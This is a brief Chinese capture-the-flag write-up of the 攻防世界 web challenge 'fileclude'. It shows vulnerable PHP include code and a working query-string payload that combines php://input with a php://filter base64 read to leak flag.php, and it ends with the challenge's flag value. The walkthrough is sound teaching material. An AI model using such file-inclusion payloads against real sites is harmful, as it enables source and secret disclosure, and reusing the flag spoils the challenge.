> 文档中心 > 攻防世界WEB练习-fileclude

攻防世界WEB练习-fileclude

目录

题目场景

分析代码

解决思路

​编辑

base64解码

找到flag


题目场景

分析代码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf") //要求返回值为hello ctf
        {
            include($file1);
        }
    }
    else
        die("NONONO");

解决思路

文件包含漏洞位于file1与file2两个变量中。其中,file2被放入了file_get_contents函数中,并要求返回值为hello ctf,我们可以用php://input来绕过;而file1被放入include函数中,并且根据题目提示,我们应该获取当前目录下flag.php的文件内容。因此我们可以使用php://filter伪协议来读取源代码。最终可以得到flag.php经过Base64编码后的结果

?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

 

base64解码

找到flag

cyberpeace{7eaf71673582b983c07fabf14e1852b0}